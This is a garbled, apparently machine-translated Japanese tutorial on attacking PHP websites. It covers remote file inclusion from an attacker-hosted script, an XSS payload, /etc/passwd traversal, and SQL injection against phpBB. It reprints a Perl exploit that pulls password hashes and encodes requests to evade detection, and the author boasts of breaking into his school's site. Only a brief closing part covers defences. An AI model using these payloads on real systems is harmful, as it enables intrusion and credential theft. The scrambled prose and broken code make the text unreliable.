ホームページ >バックエンド開発 >PHPチュートリアル >PHP Web サイトの脆弱性の概要_PHP チュートリアル
現在のネットワークセキュリティの観点から見ると、誰もが最も懸念し、最も危険にさらされているのは ASP であるはずです。この点に関しては、Xiaozhu が専門家であるため、私は PHP に関して何も言うことはできません。 , これも非常に深刻な問題ですが、この分野の記事はあまりありません。ここでは、PHP ページの関連する脆弱性について簡単に説明します。現在一般的な PHP の脆弱性を大きく分けてまとめました。以下のカテゴリ: ファイルの脆弱性、スクリプト コマンド実行の脆弱性、ファイル リークの脆弱性、SQL インジェクションの脆弱性などが含まれます。もちろん、COOKIE スプーフィングなどのいくつかの一般的なテクノロジについては、ここでは説明しません。それでは、これらの脆弱性を悪用する方法を一つ一つ見ていきましょう! まず、この脆弱性は、PHP の処理が不十分であることが原因であると言えます。外部から提供された悪意のあるデータにより、リモートの攻撃者がこれらの脆弱性を悪用できるようになります。 WEB プロセス権限を使用してシステム上で任意のコマンドを実行します。 例を見てみましょう。 a.php に次のようなコードがあるとします。 # FROM " . POSTS_TABLE . " s, " . u IO::Socket を使用; $view_topic = シフト || /phpBB2/viewtopic.php; 笑わないでください、これは本当です。私はこれをいくつかの大きな Web サイトにアクセスするためにも使用しました。どの Web サイトにアクセスするかについては、言うのは難しいですが、私はこれを私たちの学校の Web サイトのバックエンドにアクセスするために使用しました。学校ネットワーク センターはこの記事を参照できません。^_^ ) 前の機能を使用してください。そうでない場合は、他の人のパスワードを変更する必要があります。!!!
include($ include."/xxx.php");
?> ;
このコードでは、$include は通常設定されているパスですが、自分でパスを構築することで攻撃の目的を達成できます。 submit: a.php?include=http://web/ b.php、この Web は攻撃に使用するスペースです。もちろん、b.php は攻撃に使用するコードです。 passthru("/bin/ls /etc "); コードのように、いくつかの目的のある攻撃を実行できます (注: Web サーバーは PHP コードを実行できません。そうしないと問題が発生します。 「PHP プログラムで PHP コードを攻撃する方法」一般的な脆弱性を攻撃する>を参照してください。この脆弱性に関しては、PayPal Store Front、
HotNews、Mambo Open Source、PhpDig、YABB など、さまざまな状況があります。 SE、phpBB、InvisionBoard、SOLMETRA SPAW Editor、Les Visiteurs、PhpGedView、対象ユーザーの機密情報が取得される可能性があります。例も示します。PHP Transparent PHP 4.3.1 以前のindex.php ページには、PHPSESSID の十分なフィルタリングがありません。このようなコードを通じて攻撃の目的を達成できます:
http://web/index .php?PHPSESSID。 ="><script>...</script>スクリプトでは、ユーザーの機密情報を取得する関数を構築できます。この点に関する脆弱性は比較的少数です。PHP Transparent に加えて、次のようなものがあります。 Nuke、phpBB、PHP Classifieds、PHPix、Ultimate PHP Board など
次に、ファイル漏洩の脆弱性を見てみましょう。この脆弱性は、ユーザーが送信したパラメータのフィルタリングが不十分であることが原因であり、リモート攻撃者がこれを使用する可能性があります。ディレクトリ トラバーサル攻撃を実行し、機密情報を入手します。例として、最近発見された phpMyAdmin を取り上げます。phpMyAdmin では、ユーザーが送信したパラメータが完全にフィルタリングされておらず、リモート攻撃者は複数のパラメータを送信します。 / 文字データを使用すると、WEB ROOT 制限をバイパスして、WEB 権限を使用してシステム上のファイル情報を表示できます。たとえば、export.php?what=../../../../ というアドレスを入力します。 ../.. /etc/passwd%00 は、ファイル漏洩の目的を達成することができます。myPHPNuke、McNews など、この分野には比較的多くのファイルが存在します。
最後に、最もエキサイティングな場所に戻る必要があります。 ASP ページで SQL インジェクションを使用することがどれほど楽しいかについて、Xiaozhu が「SQL インジェクションの秘密の本」を見つけて (笑)、NB Alliance が実際に開発するまでは、SQL インジェクションを手動で挿入する必要がありました。 Tian Tian は、CSDN、Monopoly Forum、China Channel などの大規模な Web サイトの抜け穴を見つけるのに貢献しました (これ以上はナンセンスです。実際、これは事実です)。 , SQL インジェクションと ASP での SQL インジェクション PHP での SQL インジェクションはほぼ同じですが、使用されるいくつかの関数に少し注意してください。実際、ご覧のとおり、他の関数は基本的に変更されていません。 PHP における SQL インジェクションは、誰もが PHP-NUKE や PHPBB を思い浮かべませんか? はい、よく言われるように、Dongwang のようなフォーラムは ASP の世界における脆弱性の王様であるはずです。フォーラムのセキュリティが低すぎるということは、その評判が高すぎると、他の人がそれを使用するほど、より多くのセキュリティ脆弱性が発見されることを意味します。フォーラムで PHP を使用する多くの人は、通常、PHPBB を選択します。phpBB.com phpBB 1.4.0 バージョンで発見された最初の脆弱性から、phpBB 2.0.6 バージョンの最新の groupcp.php まで、その脆弱性も絶えず出現しています。以前に発見された search.php、profile.php、viewtopic .php などと同様に、おそらく合計で 12 個ほどあるため、PHP の脆弱性を研究する際にテスト製品として使用する人もいます。繰り返し練習することで完璧になれると言われています。PHPBB は今後ますます普及すると思います。では、viewtopic.php ページを例として分析してみましょう。 viewtopic.php では、「topic_id」が GET リクエストから直接取得され、フィルタ処理を行わずに SQL クエリ コマンドに渡され、攻撃者はこのパスワード情報を取得するために特別な SQL 文字列を送信することができます。自動ログインまたはブルートフォースクラッキング。(特に重要な理由がない限り、ブルートフォースを実行したい人はいないと思います) まず、関連するソースコードを見てください:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval ($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS[topic]) )
# {
# $topic_id = intval($HTTP_GET_VARS[topic]);
# }
上記のことから、送信された view=newest および sid が値に設定されている場合、実行されるクエリ コードは次のようになっていることがわかります (PHPBB ソース コードをまだ見ていない場合は、それを読んで、次に、ここを見て影響を受けるかどうかを確認してください) システムは: phpBB 2.0.5 および phpBB 2.0.4)。
# where s.session_id = $session_id = s .session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# p.post_time ASC で注文
# LIMIT 1";
Rick は次のテスト コードを提供しました:
$uid = シフト 2;
$dbtype = mysql4 ; # mysql4 または pgsql
print "uid $uid サーバー $remote dbtype: $dbtype のパスワード ハッシュを取得しようとしています
";
$p = "";
for($index=1; $index$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port、
Proto => "tcp"、
Type => SOCK_STREAM)
"$remote:$port に接続できませんでした:$@
";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0
";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1
"; # これを pgsql に置き換えるか、削除します
print $socket "Host: $remote
";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # 場所と一致します: viewtopic.php?p=
$p .= chr ();
}
}
close($socket);
}
print "
uid $uid の MD5 ハッシュは $p です
";
# ランダム エンコード str. は検出を回避するのに役立ちます
sub random_encode {
$str = shift;
$ret = "";
for($i=0; $i
$j = rand length($str) * 1000;
if (int($j) % 2 || $c eq ) {
$ret .= " %" . sprintf("%x",ord($c));
} else {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq mysql4) {
return " Union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq pgsql) {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid または false";
} else {
return "";
}
}
この壊れたコードについてはあまり説明しません。この関数は HASH 値を取得するためのものです。
これを見ると、なぜ先ほど述べた変更された関数が使用されないのか疑問に思うかもしれません。私がこう言うと人々は笑います: 実際、インターネット上の多くの Web サイトの一部のページのクエリ ステートメントは次のようになります:
SQL インジェクションに関しては、PHP が ASP とは異なることを忘れていました。 MySQL の SQL ステートメントの使用は mssql ほど柔軟ではないため、mssql で使用できる多くのクエリ ステートメントは、一般的に次のようなものになります: aaa.php?id=a。 into outfile pass.txt または aaa.php?id= a into outfile pass.txt /*さらに次のように変更できます: aaa.php?id=a または 1=1 Union select id,name,password form users into outfile c :/a.txt
このようにして、データベース データをファイルとしてエクスポートし、それを表示することができます。
または次のようにします: mode=, user_level=4
このステートメントは通常、データを変更するときに使用されます。ページに脆弱性がある場合、権限を昇格する効果が得られる可能性があります。
OR 1= 1 -- or: 1 or 1=1 などは、PHP の SQL インジェクションと同様です。この問題が発生するページが多すぎることがわかります。実際、上記の分類の理由は 1 つだけです。送信されたパラメータがフィルタリングされていないか、フィルタリングが十分に厳密ではありません。 . ハッカーの防御線は常に攻撃的かつ防御的です。 ここで、その防止方法について簡単に説明します。
まず、個人的に最も重要なポイントは、magic_quotes_gpc を ON に設定することです。その機能は、一重引用符、二重引用符、バックスラッシュ、および null 文字を、select * from admin where username=$ などのバックスラッシュを含む文字に変換することです。ユーザー名とパスワード=$パスワード ステートメントでは、攻撃者は検証をスキップするために 1 または 1=1 を使用したいと考えていますが、これらの文字列は次のように変換されます: select * from admin where username=a and passwd=1 or 1= 1インジェクションを防ぐという目的を達成するには、addslashes() 操作が自動的に実行されますが、それが機能しない場合は、自分でそれを処理する関数を定義する必要があるようです。